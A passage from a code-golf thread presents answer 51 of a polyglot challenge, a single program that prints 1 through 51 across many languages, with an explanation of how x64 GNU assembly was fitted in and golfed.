48.\nThere's a problem here, though; the standard method of writing constants in SNUSP leaves the control flow behind the start of the program, and with a oneliner (which I wanted to write here for obvious reasons), there's no way to change the IP to point in any direction but right. This means we're somehow going to have to get the IP to pass the entire constant definition and continue to the right, without the program exiting (which `#` would normally do). In order to resolve this, I carefully used a definition of the number for which `+` was always preceded by `=`. This means that I can write code to set the *second* cell to 48 via `@@@@=>+<@@@=>+<#`, safe in the knowledge that none of the `>` commands will be skipped by an `@` command (and thus we keep control of the tape pointer). Additionally, we know that at the final `#`, the first tape cell will still have its initial value. Therefore, we can use the first tape cell as a marker to know whether to return from the procedure definition or whether to continue to the right (we're inside a ton of procedures when doing that, but we exit the program by falling off the edge so that it doesn't matter).\nThe final SNUSP code, therefore, is `$+@+-@@@@=>+<@@@=>++.--.`. The `$` marks the start of the program. `+@+-` sets the first tape element to 1 (`++-`, but once the procedure started with `@` returns, it'll start running the code from the `-` onwards, thus setting the tape element back to 0. `?#` ends the procedure only if the first tape element is nonzero; thus we eventually end up after the `#` with the second tape element set to 50 (48 from the constant definition, plus 2 from the two `>+<` encountered when going to the right afterwards). Then all we need to do is `>+.--.` to output ASCII codes 51 (`3`) and 49 (`1`), and fall off the edge of the program (`]` is a no-op in SNUSP, and `/` reflects control flow vertically so that it runs off the program's top edge); this bit works identically to brainfuck.\n[Answer]\n# 51. [Assembly (x64, Linux, AS)](https://sourceware.org/binutils/docs/as/index.html), 1086 bytes\n```\n#16 \"(}23!@)(\" 3//*v\\D@;'[af2.qc]'#)\"14\";n4\n#/*` PkPPZ (22)S\"[!(>7 7*,;68*,@;'1,@␉␉␉␉ q\n#>␉\n# >36!@␉\n#`<`\n#<]+<[.>-]>[\n#{\n#z}\n#\n#=x+++++++EAL+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52PLEASE,2SUB#2<-#32DOREADOUT,2DOGIVEUPDOiiipsddsdoh]>+.-- -. >][\n#x%+>+=+~tt .\n#D>xU/-<+++L\n#R+.----\\).>]|\n#[#[(}2}20l0v01k1kx0l0ix0jor0h0h1d111x0eU0bx0b0o1d0b0e0e0@O6O4/0m1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10vx0v0l111111^_) 0046(8+9+9+9+9+=!)\n###|\n'\\';echo 50;exit;';print((eval(\"1\\x2f2\")and(9)or(13))-(0and 4)^1<<(65)>>(62))or\"'x\"or'({({1})({1}[(0)])}{1}\\{1})'#}#(prin 45)(bye)|/=1/24=x<$+@+-@@@@=>+<@@@=>++.--./\n__DATA__=1#\"'x\"//\n#.\\.\"12\"__*'\n###;console.log 39\n\"\"\"\"#//\n=begin //\n#sseemeePaeueewuuweeeeeeeeeeCisajjap*///;.int 2298589328,898451655,12,178790,1018168591,84934449,12597/*\n#define p sizeof'p'-1?\"38\":\"37\"\n#include\nmain ( )/*/\n#\n#\"`#\"\\'*/{puts (p);}/*'\"`\"\n/*\n<>{#65}//\n#}\ndisp 49#//\n#{\n1}<>//\n$'main'//\n#-3o4o#$$$\n#\"3\"O.\n=end #//\n\"\"\"#\"#//\n#}\n#s|o51~nJ;#:p'34'\\=#print (17)#>27.say#]#print(47)#]#echo 21\n#sss8␛dggi2␛ `|1|6$//''25 16*///89^_^_Z222999\"26\n```\n`␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\nWant to learn more? Try the [polygot chat](http://chat.stackexchange.com/rooms/55553/polyglot-development)!\n[Try it online!](https://tio.run/nexus/bash#zVpLc9tIkj4P/kJfyiDbBEgCIEhJlkyCltyWZ90vay3ZE2GSlkCwSMLCqwFQoizTsdfd2MPc57LH@R9z3V8xf6T3yyrwoZe7@zARS4fAQlVWZla@KjPpX0v0YUdxcDUJ4pzlPMvZKPUveGqy51ds3/Wz7WZLUQRUGo9mnh9NWD7lzI@SWc7GfsAzxXNz1mVJgcWkASuxlLsjCaaM45TRFhaeB8xnXpKwYeBOTY8FvoDN4pDWc54mKcczYxHnI5Yl3PPHvifoMD7PeZT5cZSZzPfO2aUfBGzEA2xYE/fqQMZm2caUJGUqo1hh@HjJLVZXb2UOmIgvj8sTNxXHjVkizr489WXqJgmYVErsGIznfsgz5ueVjHE380mG2JLxaCQklaykGzM32jwlu/Bd5oLfWSpwZzzNcTxT4GVTnnKgdIn4JHVDpl2mfg4RkCAP2BF3U3aScq6DChTAM89NwMcNkiAWE4WcDmIKRXU6lcPXLytQmNxhukmulNLWyb9/r7jMdFj5tI0/R1XbyuHPL9h1uU9jcAFkUGqSaq7OnC8ss/p9jr@5PbQm6UIBVgVSCZgVJ7kFzG6ag731yLhomkmwQZZ1bmliw4gk1Ai6YK8i9q4uzuXN0pSDi7VI3XMcOYijCaSJo6aziKQRsZ0GFODF0SirM34BmcWR1FB8KeR7MvWhsowU4g4hHtcjyUsHEOKEC8DyCnku6WZxMBNw2JnlZH6QCbYSxldj9o6NXT@gLVgnVJLrlGezIKc9s2hEeg/9iI9MtmTDi0cEFMYXIOcCqZiAz4QbniaYAjDUEIuj0tI///q30WQCPAeeF6ejwljfsVHszUIw7ApmXRgimWscuYFgC3B1oi63g8CFG/gjNyfy0VVBQjAhqF7Gs2DEYhBML3041tS9gDOOx9zLuTTxeJaDxzoL3XMZH3xptzh46A6hWEFA0BbHNtj@d9CSx6XBGOEsH@8yIzlklcz6oD17qj171OfgTTf1atmyJm1Ym1kVU3irfM1w3h2s9UnWc@LH5EVBMp0hZmAlyhJEk5SE6bk4TkZBJUfMq7OhELSIRDB04aKXvJJyNoRfLw8mbETaAO03yG8LDGudLuFumhgfbVgYrBNGlmd3gkQQX4Kw4I0CJ2w6IuLuxAWpvDjQgTyQpChmbh7tPIKlE7YhZ7vG0Id2yA4QagplbJwR4K2mhAE2qb0NpwjdK2DxZIhea5L5Yyg5hN2mV8zj5AzwCi7jHBGZCcPIfNhRPGYNo7m9/RvKz1PrwHhvucYn66s6psPfUvMBG/NLFrjRZOZOYMhxhC2u5/EkLzwIJ8ly@MjtMCgmjSKmm9lUKe/fpi1iWxHtN2hQ9JHaKyK0S2YPQYUQtRHAy5mbToQnspGfwl@Cq9vUAXBxi7h6RiA3GDhTH2BheTHByPice7Mc7gZDvpz63hS2S9xF0mFldLxNHlOb1BFyjPGKNDFjdx83FdNaTREbD6IwSKN38SDqE6rujQmh/M2Jr2N2s/AexPGKRUSojVnTck3YXiE03ObHlEkg/C2vbuFZq/RiJU8I@Hu6mFL@ywwKgz37k4hA3Gh17W9ERj@LKrgq/MyH1OkCJ1s/efWa7oO/cJnDQO7yLtsM5jEyGmwvLmhaWCpB4d40ZkbEKgUPmiru049gy8pSTwyMjSRC1U3ISSN5iaUloo8yL7t9obLuXThBslJnPVUd1HGHBRlMKJoFAV5mkXAxjevXsDWPZ5kJh4FsTcpGwJ1a4/riJmA@TeNLxhd6u3IfuT@okO9mQ3/@/1AjHvElnzjVhhrE1O/Rwx3Af7Ei7tCDKl5FuLkQ0z@JKyaikDkLZ4GbyyzDi2eQ80oduG5cpyE1eAIZ/YjMi/3o04U4Rp62zt9Fyj@nTLWvqMlVPo2j1s2Qpq5XmjJlfGeFuOHM5Or@y1zdRCU2/ORH5zHxZoXL0WnDtLdvoEDJcXfn2M@m4nED9A5bd1fE7iwcjsXjHoCITPGWxYuFMI5iSRwS8iPXeiO@TITt@zi4GR1vkH/OoeMJN/Za1tCPrCEfPwT58vnzVwJmPBz6DwFBDFRULb/vAUtnw/ukhKRoeuf2ZDfkfDJL88AYWTl98//9jxHkfVcbU/cqQxp9vhqcRvySNGOMH1ROsZVexON@RX6cBSixfgOH51Lq7Aarwf24nrI3HNaOJCcSlRU4DQI4MkSGAHPXnOEJwWzEl9/3IxUyvHkJy92RHxqw5R2zIRSIV0osKL17CMutTEKioYojDWJ3ZMka0OdrjUrZ87k7iaMra@NKMdPh72B1edmzddGXT2f5TD6p0vst3fkJ/X3NBQvIxvbBc/uw@HoAHkzsPGS70m1SRBfjZeCeW0Mano4xvP@o8jCpP0FZufx@COwvx4nrcesyo697zeYnpGgBivXjn98eH33VfgRC5G5pIJ/3onsVebjUovy3MeGUgXj8EcMTduC5AayvJW2Pei3Ghpj8W4IN3OEVNQemf9yGiOqkVmNGvK6A1q2cJHl4k@fdv0k2e8Q@L0aNyn/r1sHV4Yc4bnO0MXzQJvzYWNdZmTSkMRWW98Qe98Jlhhe4GUwjL6TLL6AN8fiaqdIN4ZHNrEdfM9RbTC1r3YfKpfXOxPdi3N6JUDO9BHh56FK7nT2s0VATTzzWW@mtsNcX3B3RVfvlqwYbezlVKQ@YzO@IRrJAoBJswy7M@O5Wkby8EY2iVeWW1Yv@Fub8tOhnZKuWYWm9yiI3FPUsjZd5UVsWzdlUdEpQ3I4Qpt9GvshLvTiVpZ/sL4gr8R9/HxUNpAnPMxb6GVKwSUQtT9R30/jymaRbUD9IEpcaUIQDgSGQmavx3QHLLv3cm8q@EVK9ty9Pdouiv2i/4uWI4vMGF/LcWBqDBzfnoj6V3IxiLnVUEF7tWh4KJjILI3bpj/IpssFjH3W8aCosC11wkhJYlKcx6bjOXrERp4glEu@PM@SKQRyfi3yfOPnH32WrA4tABq4xXpIXvbcNigwOYov@gicT0yWSTzyNCxCNhAxDn0EiV7AwLud15k1d0YNJTWYsOxBERnYhvjs4ZsYhq1DnmBoSbX@slQ/e/PldrzFwvrDQQvZiUeot5KZ@azyxM7XOliDtBUeyvrncwPJ6tcLU8lwtjkVdStGUWxmVNDim0Vioa9lRCEWDU9gdvxQdBdE2isiPqXOIAifL8aoL1LLT6JQ1pD0hahnjOGfb1F7nEAlGsiXKqGFN1TFtKc/ZZzYlWzE8Zm838CYFElBDJnTWyeZmfm@94MOZuBUvmmaz5YjjlE@dTleMUj6KqWXX@9C/HFjZUir9/vzbRnMOscUpwB9b5DmHP7@4LpvdxufPmXvFVHVRaYsySH2qsvL10aujw@OTg5O3xxDjQi8EeFT0okVf1S367LDlWbb0zEJ@1JIXbRHRVqfNAndZbpXYXpHVCR9YujMobJRBprRGTXNrNV3f@IXgcI6ICqOlTq3otCpLzuKij7jUIpx0KotbVLwrO8xWdSodYUxeFEARVIiJZCIjTTBSuskOggxWPxpBjcOrnMu6TJamq/pULbGya65OUWeqQrCZc7efBC1f4gL1zuTmsoATmLP7WrJ9bv3zr3@Tbdh@jvF/FuMxxv8txx8sktLdvp3kcSUaEsu7V0csQ2iRBw/d@caZZNEJ@45mqM1DSPBCCITAJbPr867xaL13kCeUAGGSmZJlCno8HWjTPE@eWhYF40kcjE1RYvA59ADDNpFVW7/MqCsOZ7J2tne2bGSw3LhYIhTNlgnluxKhrj9lKlMu/MQ5G3qs0@kwFTV9wJ2dthSkVXY/tNSzFaNlwCoybvcY9mDLegfWusU2rezWbJ22MsdhFbvCBm2EZKkXeLUmBgDRaToq5KEibMSFqKhdwOc5gzWnV8v7CJcBSs@Q5CR@G1kiMoBI4tZV5Y7tgl@siKTWv3FXmptqUP9CYCIFfqreZzoMFvI/91hOhPF/yXGv3zC@DO7r669s5@Bu@1673Xyns7D94yimOucleGVa02q2LHtH3/ATtUAFbskrPgMl/AB@5XH/Y5xkB98dvvr@9dHxnfazgKzcBquwSrdT6xtmvTdYDSr32Pwqaz@Jz8HxV/qwRk4Q/qfNjqxf7KZ2Z7NrjfiFRW0hxbSWK7hftM4NjnXZM944@pIH2G8xU7ZVEF8T9JQ7edUmN8u0e0V0c@fdMy/DH@ynKDNhkvTbH3X1cEf44GT/Bx5F/Ipp8K7QhdG6MyTnqV5f/vhcX/1csHGSfyuq1ts2d1i5DmJ4Vtlqi9uovYB5nfVZP@@P@xHZWPvK@sYyrfa1Vg6cKwthQe9q5alj11rVWq0cVbVyRI7x@DFdYosy/O7UVE11DiCjHOhtRHv4qVOO2mW3o5VHTrMqduAV98M1NnzJLPO67C6s8mOYeR0zKadowrVyplPG0jBNewH@PsZ@VLbqoZtcaypT5/SrC5Ev@7Ua8WCWT4mBL1b/uAbO4TXHlrg220W4tSZhW0Slyk1j/fXXkr3DmKotmq1H@zqQtyyretF/sd@u9Nxx0/zFG1RKumpvqe1oSylZ1TN2dH509B4u09SP1d4jrfuEPanW2zu71To22fX9P@HDflFK3T9Be93WzqN9DM46Z0qpM6h1embXGHR7SulaKX1aKCWl5Mw7b2r06b3o1uTn8OBHPDvGoJcc/Xh4cHxYb3aMUvPF63rz@O3zko2X7eZyhWZouYX1N4cHL16/Palj@OdX7w7fHr147ft@ko1G2SieDro10zCYYbLuABzMv611a07tS54zGNqL7vytZXRA90el9IYADaOvm93BZ6XUK/UgoUWzETQuGva5fT7HyJ83PsZpY9qY2iPbtucN/rYxnDeGjdge4cnxb//1zustqxFiwm@M541JI2pEBBpj4M0bHgZjPCe0NAaqj/jnNxpEo3ExB7HAFp8PpzpjjcbWjrZb2yv@OY90yi4@K5V@kQltN9p87uftitS1pvELN9BUuz9vjpuqjjtU29NhlXZL1w2tQXfqlv7B7nS0nW2929V2mjqW1cpcjdOKdq1d2wudHj2toQ/0BUZ9mqqUFiXywohtbeu4Ibj@2XJsq7kFTZZr@zVjHx@nW@sUX89KIyF401JOT18cnBycnjp2ichYllIy@6ZqN9XT02qFjtOmVDUOuBkgLrf2FBWfEuCcIZ@AIu3IMo40jB@5fMb55Wx2yVef71AfffzoJlX4a9uk8NJs7u1u7@61mrv13b3drW17Z3u7bjfr9pPdJ3uNut2wd@2d3e09u767tdfa2traw@r23hOrqpRGfEyJdMIyRK54XEkqhv1Mbe0i42w9UZUSohs17DrU2ozNaVehtjTTmG5VLbJs9ayk9itV65pqRAQuvb2wqhX1TFWAvdO9Lu1sL@hAC2VE5fTWHh0UjmEvOl2MyhXCV6E5oxVvxaVyuQwnetNVW@prU3Ho/43QDpKQkBEQlbLP8bb9Jfq@XXqaVFpblb5TktWDZj/RS93mExPZc2kgJ7UtzA1KwnhY0ybRZrvfjCYTv/kNO/tsf94pW1al0txmzN4hme7ufTj9cPq@Canu7anNnV8t62tXF1ZX4XvMEdlm4X3x@yD1f3IpfY1WMRyDn2a4LlZCZiTlwB@SmG/MSclvTon/woI5hfgiEWo0QN3p1UVOzarUAe0NdHYtEnZ/zDRaxU1uy8JBlkj5LI1Yo61IIOqjtVdDUCGjYA4B0CSFa8137DbzO4QM34jyBQX6LHfUHBoGPNIEF/5Ab69gVpx0sXuDl439tZoEX0i25Hm8cCSPLddWr2AvpHrf04rd@i0A1EqAqfQbleKYv@cYSEi0FYY6@8PHuLUfF5q@PJNgYb1YzK9VsVCqeT1sK3TsatJWftA8/Zou2vaX8PFj70PSCwdtPXRy@q7VwvZCOdd8CVLNndAx7HYCZtt5r1bzB06o/6AlgvnQaQAYtAlzpl@vNB05hboyvf6pFxlfokH9ZS@q2YP6rF5973yqu06jPscfxFYP6r9AeEtRarnzqRa13Q7@6M6/IYnEyWpu@8YUbTnXAudTzx04Db0dYGOt9hKHAZ9ZL6jVBjqIB1i8u7EdPH7s1oLuvB0Yhk5QH1rPXvZyDAY1h96fam5n/uxTb4b9TzV8OyAT6GAe@27qAPjAXxsylupbsy55nBN7c7AXOk71/bPq@6rz6NGn3twIB3Up/qeNteKJ@Tkxv2kjWvX9pmEJkYj6X1O/9Z9@a1YzptZhfRByPdnYKTmsvsdKsvaGxf8B \"Bash – TIO Nexus\")\nVIP score ([Versatile Integer Printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .008186 (to improve, next entry should be no more than 1151 bytes)\nThis program prints **51** in Assembly, **50** in Bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainf\\*\\*\\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above.\n* Reng can be tested to output 19 [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/).\n* Modular SNUSP can be tested to output 31 [here](http://www.quirkster.com/iano/snusp/snusp-js.html).\n* Cubix’s cube shape viewed [here](https://ethproductions.github.io/cubix/)\n* Incident is checked by keeping the tokens balanced as described in previous answers.\n* For Deadfish~, can be tested to output 48 [with this](https://github.com/craigmbooth/deadfish). Note that Deadfish~ takes the polyglot to be fed on stdin, but and prints a number of `>>` prompts to standard output, which are an unavoidable consequence of running any Deadfish~ program.\n* Assembly can be tested to output 51 [here](https://tio.run/nexus/assembly-as)\n## Thanks and Congratulations\nWhen @ais523’s 50-in-1-k answer dropped 2 weeks ago, a tear rolled down my cheek. It was too beautiful. And it was in Bash. It was too perfect.\nI turned to my wife and said “I think the polyglot is done,” feeling immense pride.\nShe turned to look me in the eye, paused a moment, and said “Good. Now take out the trash.”\nWhat she meant though was that she felt deep joy for me and my internet friends. Thanks and congratulations to everyone.\n## Assembly Explanation\nIn the days that followed, my mind kept wandering back to something @ais523 said in polyglot chat shortly before posting Bash. He pointed out that some flavors of assembly use `#` based line comments and `/*` block comments. Well that was enough for me to slowly lose my mind for the next 2 weeks.\nThere is a kind of implicit challenge in polyglots to include legitimate languages. I’m using the term legitimate here very loosely, but I think we can all grok what I’m getting at. It’s a one thing to include Brainf\\*\\*\\*, but it’s another thing entirely to include the likes of Mathlab or R. Assembly certainly falls into the latter category, and my mind couldn’t let it go. But I knew nothing of Assembly, so this was an uphill battle.\nAfter banging my head against the problem for a while, looking for a way for Assembly and C/C++ to coexist, I found this is the documentation for the GNU assembler:\n> \n> To be compatible with past assemblers, lines that begin with '#' have a special interpretation. Following the '#' should be an absolute expression (see Expressions): the logical line number of the next line. Then a string (see Strings) is allowed: if present it is a new logical file name. The rest of the line, if any, should be whitespace.\n> \n> \n> \nThis I noticed happened to be quite similar to our pre-processor directive for C/C++ in line 1 of the polyglot. After some trial and error I found that `#1 “bla” 1//*` would enter a block comment for Assembly only.\nAnd so a polyglot was made.\nWith the biggest blocking problems solved, I set out to golf down this hello world example.\n```\n.intel_syntax noprefix\n.section .data\n msg: .asciz \"51\"\n.section .text\n.global _start\n_start:\n # write syscall\n mov rax, 1\n # file descriptor, standard output\n mov rdi, 1\n # message address\n mov rsi, OFFSET FLAT:msg\n # length of message\n mov rdx, 14\n # call write syscall\n syscall\n #End the Program\n mov rax, 60\n mov rdi, 0\n syscall\n```\n[Primary Author’s Credit](https://github.com/e12e/asm/blob/gas-syntax/hello/hello.S)\nActually I lied a minute ago, the very first version of the Assembly code I used was in AT&T syntax, which is one of two syntactic branches of Assembly. One of the main elements of AT&T syntax is that it’s register references use a `%` prefix and this is a problem for the polyglot. Cardinal uses `%` as a pointer origin, so if we littered a bunch of `%` about, it’d be like a second Fission reaction.\nThe other syntactic branch, which doesn’t use `%` as a register prefix, is called Intel syntax. The exploit we’re using in the polyglot to get past the first line and enter a block comment is in the GNU Assembler (GAS or AS for short). AS has the happy feature of allowing both syntactic branches. You just have to declare that you want to use Intel syntax, which is happening on Line 1 of the Assembly code.\nAssembly uses registers, which are a small number of memory locations literally located on the CPU for speed of access. This isn’t unique to Assembly other than the fact that their use is not abstracted away from the developer’s concern.\nThere are different kinds of registers which are used for different purposes. From Wikipedia:\n• AX multiply/divide, string load & store\n• CX count for string operations & shifts\n• DX port address for IN and OUT\n• BX index register for MOVE\n• SP points to top of stack\n• BP points to base of stack frame\n• SI points to a source in stream operations\n• DI points to a destination in stream operations\nAX is used in line of the \\_start Function here: `mov rax, 1`. The `r` in `rax` indicates that the memory is 64-bit. If we swapped this for an `e`, that would indicate a 32-bit memory, which is totally valid to do with a 64-bit processor. We just wouldn’t use the top half of the available memory. To indicate 16-bit memory, you just use `ax`, which is fine for us because we’re just printing integers. So we can golf a few bytes by changing all the register references to 16-bit.\nOkay, not quite all the register references could drop the `r`. `mov rsi, OFFSET FLAT:msg`. If you’re familiar with Assembly, but not this statement, it’s because this was semi unique to AS. At least, that what I gleaned from [this](http://madscientistlabs.blogspot.com/2013/07/gas-problems.html), which helped me gold down the statement to just `lea rsi,m`.\nAfter this, I experientially found that I could knock `_start:` down to just `_p` and cut `.global _start` entirely with only a warning issued. Second, `msg:` was reduced to just a single character variable `p:`. I chose `p` for both the string variable and the starting function to offset some of the `s` Assembly added for Alphuck’s benefit.\nThen, I put in `;` to delimit instructions in order to put them all on one line. This is primarily to avoid excessive trailing `#//`s on each line for Thutu’s benefit. Also, I noticed that our Assembler didn’t appear case sensitive, so I just upper or lower cased various characters to avoid Incident imbalance.\nThis golf'd us down to:\n`.intel_syntax noprefix;.text;mov ax,1;mov di,1;lea rsi,m;mov dx,2;syscall;mov ax,60;mov di,0;syscall;m:.asciz \"51\"`\nAfter all this, Japt and Underload were the only problem children in this answer. Japt had some beef with the `*` added in line 1, but it seemed to be fixed by reverting to the `puts(p);` line from the C++ answer. I ended up throwing a `(` in this line as well and then closing it on Octive’s line. This was so Underload would stop sefaulting. A similar treatment was had on line 1 to add in the `*` there.\nThis was enough to meet the byte requirements of this challenge. In fact I verified this by producing [this version](https://tio.run/nexus/bash#zVpJc9tIlj43/kJd0iDLBEgCIKmlbJGgJdtyj2qzxpJdESZpCQSSJCxsBYASJZmKuc7EHPrelzn2/@jr/Ir@IzXfywQXba6uQ0cMFQITmS/fe/mWfIv0W4k@7DAOLsdBnLOcZznzUv@cpyZ7ecl2HT/bam0oioBKY2/q@tGY5RPO/CiZ5mzkBzxTXCdnXZYUWEwasBJLueNJMGUUp4y2sPAsYD5zk4QNA2diuizwBWwWh7Se8zRJOZ4Zizj3WJZw1x/5rqDD@CznUebHUWYy3z1jF34QMI8H2LAi7taBjE2ztSlJylS8WGH4uMkdVpdvZQ6YiC@OyxMnFceNWSLOvjj1ReokCZhUSuwIjOd@yDPm55WMcSfzSYbYkvHIE5JKltKNmROtn5Kd@w5zwO80FbgznuY4ninwsglPOVA6RHycOiHTLlI/hwhIkHvskDspO04510EFCuCZ6yTg4xZJEIuJQk4HMYWiOp3K/ts3FShM7jCdJFdK6cbxv3@vOMy0WfmkjV9bVdvK/s@v2XW5T2NwAWRQapJqjs7sG5ZZ/T7H76w5tMbpXAFWBVIJmBUnuQXMTpqDvdXIOG@ZSbBGlnXuaGLNiCSUB12wg4h9qItzudM05eBiJVLnDEcO4mgMaeKo6TQiaURsuwEFuHHkZXXGzyGzOJIaii@EfI8nPlSWkUKcIcTjuCR56QBCnHABWF4hzwXdLA6mAg47s5zMDzLBVsJ4MGIf2MjxA9qCdUIluU55Ng1y2jONPNJ76EfcM9mCDTf2CCiMz0HOAVIxAZ8J1zxNMAVgqCEWR6Wlf/zlr954DDx7rhunXmGsH5gXu9MQDDuCWQeGSOYaR04g2AJcnajL7SBw7gS@5@REProsSAgmBNWLeBp4LAbB9MKHY02cczjjaMTdnEsTj6c5eKyz0DmT94Mv7RYHD50hFCsICNri2AbbfQUtuVwajBFO89EzZiT7rJJZn7QXO9qLJ30O3nRTr5Yta9yGtZlVMYW3ytcM58PeSp9kPcd@TF4UJJMp7gysRFmC2yQlYboOjpPRpZLjzquzoRC0uIlg6MJFL3gl5WwIv14cTNiItAHab5DfFhhWOl3A3TYx7q1ZGKwTRpZn9y6JIL4AYcEbXZyw6YiIO2MHpPLiQHvyQJKimLl9tLMIlk7Yhpw9M4Y@tEN2gKumUMbaGQG@0ZIwwCa1t@YUoXMJLK68oleaZP4ISg5ht@klczk5A7yCy3uOiEyFYWQ@7CgesYbR2tr6HeXnqbVnfLQc48r6qo7p8HfUvMdG/IIFTjSeOmMYchxhi@O6PMkLD8JJshw@cvcaFJNGcaeb2UQp796lLe624rZfo0G3j9RecUM7ZPYQVAhRGwG8nDnpWHgi8/wU/hJc3qUOgPM7xNVTArnFwKn6CAuLwAQj4zPuTnO4Gwz5YuK7E9gucRdJh5W3413ymFqnjivHGC1JEzPN7tOWYlrLKWLjURQGafQ@Htz6hKp7a0Iof31CHhCR94iiPq6qRZgVXrBMBZZnhzC@pyCS8l@nEC5szx9HBOJEyxC9dov5WVTBte5nPiREwZbs8vjgLd3dv3CZb0BGMu6sX7wxsg9sL4IpLSwEpnB3EjMjYpWCB00Vse8z2LKy1BUDYy3gq7oJaWkkNbG0QPRZ5lB3gx/r3ocTJCt11lPVQR3xJsig7mgaBHiZRsIdNK5fwy5cnmUmjBs@aFLmAO7UGtfntwHzSRpfMD7X25WHyP1BhbyaDv3Z/0ONuMSXfOJUa2oQU/@MHu4B/osVcY8eVHEQIcrg/r0S4SCi620aTgMnlxmBG08h56U6EBocuyE1eAwZ/Ygsif3oU/AaIada5doiPZ9RVtlX1OQyn8TRxu3rR12ttGR698EKEY3M5PLhwKuuoxIbfvKjs5h4s8LF6KRhNrduoUB5cH/nyM8m4nEL9B5b91fE7iwcjsTjAYCITPGOxYuFMI5iSRwS8iPHeie@TFyxD3Fw@ya7Rf4lh47H3Hi@YQ39yBry0WOQb16@PBAwo@HQfwwIYqACaPH9AFg6HT4kJSQwk3uRjt2S8/E0zQPDs3L65v/7Hx7kfV8bE@cyQ8p7thycRPyCNGOMHlVOsZVexONhRX6eBiiHfgeH61Ca6wTLwcO4dtg7DmtHQhKJKgicBgEcGSLDBXPfnOEJwdTji@@HkQoZ3g6YcnfkhwZsedtsCAXilZIASsUew3In6ks0VB2kQex4lqzXfL7SqJQ9nznjOLq01kKKmQ7/CVYXgZmtCrR8Ms2n8klV2e/pzk/o92suWEA2tvZeNveLr0fgwcT2Y7Yr3SbF7WK8CZwza0jDkxGGDx9VHib1xygBF9@Pgf1ylDguty4y@nrQbH5COhWgsD76@f3R4VftRyBEnpUG8vkguoPIRVCL8t/HhFMG4vFHDE/YgesEsL4NaXvUFzHWxOTfEWzgDC@pkJ/8cRsiquNajRnxqlpZtV2S5PFNrvvwJtmYEfvcGPUk/72og9Dhhzhuy1sbPmoTfmysaqJMGtKIisAH7h7n3GGGGzgZTCMvpMvPoQ3x@JqpUoRwyWZWo68Z6h2mFnXpY6XNamfiuzGidyLUTC8BXh4LanezhxUaariJx2orvRX2@po7HoXam68abOzmVFE8YjIP@cFelvGQGgFJQJ43iQNcdbQmspN3omuzLKOyetFswpyfFs2FbNm/K61WWeSEorik8SLxacsKNpuItgUqTQ/38PvIF4mnG6eyDpPFvoh5f/@bV3RzxhzleOhnyLHGEfUfUWxN4osXkm5BfS9JHOoGEQ54fiBTU@PVHssu/NydyCYOcrn3b46fFRV40QvFyyFdwGtcyHNjaQQenJyLYlFy48VcKqEgvNy1OBRsYBpG7ML38gnSvSMfRbWo8BdVJzhJCQylfkxKrLMD5nG6kkRm/XmKZDCI4zOR0BMnf/@b7DtgEcjANcYL8qIRtkaRwQOaoth3Zea5QHLF07gA0UjIsOQpJHIJE@JyXmfuxBENkdRkxqIdQGRkS@DV3hEz9lmF2rjUHWj7I6289@7PH3qNgX3DQgvpiUW5tZCb@q3xXTNT62wB0p5zZOPryw0sr1YrTC3P1OJY1DIUHbKlUUmDYxqNhboW5X0ouo3C7viFKO9FDyciR6U2HiqYLMerLlDLtp9d1pDXhChWjKOcbVGvm0MkGMn@JKPuMSiKLeUZ@8ImZCuGy5pbDbxJgQTUHQntVTa5nsBbr/lwKsLeectsbdjiOOUTu9MVo5R7MfXPep/6FwMrW0il359922jNILY4BfhTizxn/@fX12Wz2/jyJXMumarOK21R56g7KitfHx4c7h8d7x2/P4IY53ohwMOiMSyanE7R9IYtT7OFZxbyo/646FGIHjdtFrjLcqvEdkBWJ3xg4c6gsFbnmNIaNc2p1XR9rV2/P8OVCaOltqloeyoLzuKiqbfQIpx0IqtXlLRLO8yWhSgdYUReFEARVGmJbCEjTTBSusn2ggxW73lQ4/Ay57LwkrXnsgBVS6zsmMtT1JmqEGxm32/uQMsXiJDuqdxcFnACc/ZQf7TPrX/85a@yJ9rPMf7PYjzC@L/l@JNFUrrfRJM8LkVDYvlwcMgyXC3y4KEzWzuTrCph39EUxXcICZ4LgRC4ZHZ13hUerfcB8oQSIEwyU7JMQY@nA22S58mOZdFlPI6DkSlqCD6DHmDYJtJm69cptajhTNb21vZmEykqN84XCEU3ZUwJrUSo6ztMZcq5n9inQ5d1Oh2momgPuL3dloK0ys6nDfV0yWgZsIq8t3sMe7BltQNr3WKbVnZqTZ22MttmlWaFDdq4kqVe4NWaGABEp@mokIeKayMuREX9AD7LGaw5vVzEIwQD1JYhyUn8oWKByAAiiVtXlXu2C36xIrJW/1asNNfVoP5CYCLH3VEfMh0GC/mfBywnwvi/5LjXbxg3g4ea7Evb2bvfS9fudsLpLGz3KIqpkHkDXpnWslobVnNbX/MTtUAFbskrvgAl/AB@5XL/c5xke6/2D75/e3h0rxcsICt3wSqs0u3U@oZZ7w2Wg8oDNr9My4/jM3D8laaokROEf7XeHvWL3dTTbHUtj59b1PdRTGuxgviidW5xrMsG7trRFzzAfouZclMF8RVBV7lXxq1zs8irl0TXd94/8@L6g/0UdSRMkv4QR207xAgfnOz@wKOIXzIN3hU6MFpniuw71euLvwTXl737tZP8W1GW3rW5/cp1EMOzylZbRKP2HOZ12mf9vD/qR2Rj7UvrG8u02tdaObAvLVwLelcrT@xmbaNaq5WjqlaOyDGePqUgNi/D705M1V